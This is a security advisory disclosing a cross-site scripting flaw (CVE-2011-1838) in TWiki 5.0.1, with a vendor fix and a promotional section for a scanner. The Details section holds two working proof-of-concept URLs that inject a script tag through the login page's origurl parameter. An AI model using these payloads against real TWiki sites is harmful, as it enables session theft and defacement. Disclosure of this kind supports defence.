TWiki 5.0.1 Cross Site Scripting

`Information  
-----------------------------------  
Name : XSS vulnerability in TWiki  
Software : TWiki 5.0.1 and possibily below.  
Vendor Hompeage : http://twiki.org/  
Vulnerability Type : Cross-Site Scripting  
Severity : High  
Researcher : Mesut Timur <mesut [at] mavitunasecurity [dot] com>  
Advisory Reference : NS-11-005  
CVE : CVE-2011-1838  
  
  
Description  
-----------------------------------  
TWiki® is a flexible, powerful, and easy to use enterprise wiki, enterprise  
collaboration platform, and web application platform. It is a Structured  
Wiki, typically used to run a project development space, a document  
management system, a knowledge base, or any other groupware tool, on an  
intranet, extranet or the Internet.  
  
  
Details  
-----------------------------------  
TWiki is affected by XSS vulnerabilities in version 5.0.1.  
Example PoC url is as follows :  
  
http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E  
http://example.com/bin/login/Main/WebHome?  
'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>  
  
You can read the full article about Cross-Site Scripting vulnerabilities  
from here : http://www.mavitunasecurity.com/crosssite-scripting-xss/  
  
  
Solution  
-----------------------------------  
Upgrade to the latest TWiki version (5.0.2).  
  
  
Credits  
-----------------------------------  
It has been discovered on testing of Netsparker, Web Application Security  
Scanner - http://www.mavitunasecurity.com/netsparker/.  
  
  
References  
-----------------------------------  
Vendor Url : http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838  
MSL Advisory Link :  
http://www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/  
Netsparker Advisories :  
http://www.mavitunasecurity.com/netsparker-advisories/  
  
About Netsparker  
-----------------------------------  
Netsparker® can find and report security issues such as SQL Injection and  
Cross-site Scripting (XSS) in all web applications regardless of the  
platform and the technology they are built on. Netsparker's unique detection  
and exploitation techniques allows it to be dead accurate in reporting hence  
it's the first and the only False Positive Free web application security  
scanner.  
  
--   
Netsparker Advisories, <[email protected]>  
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/  
`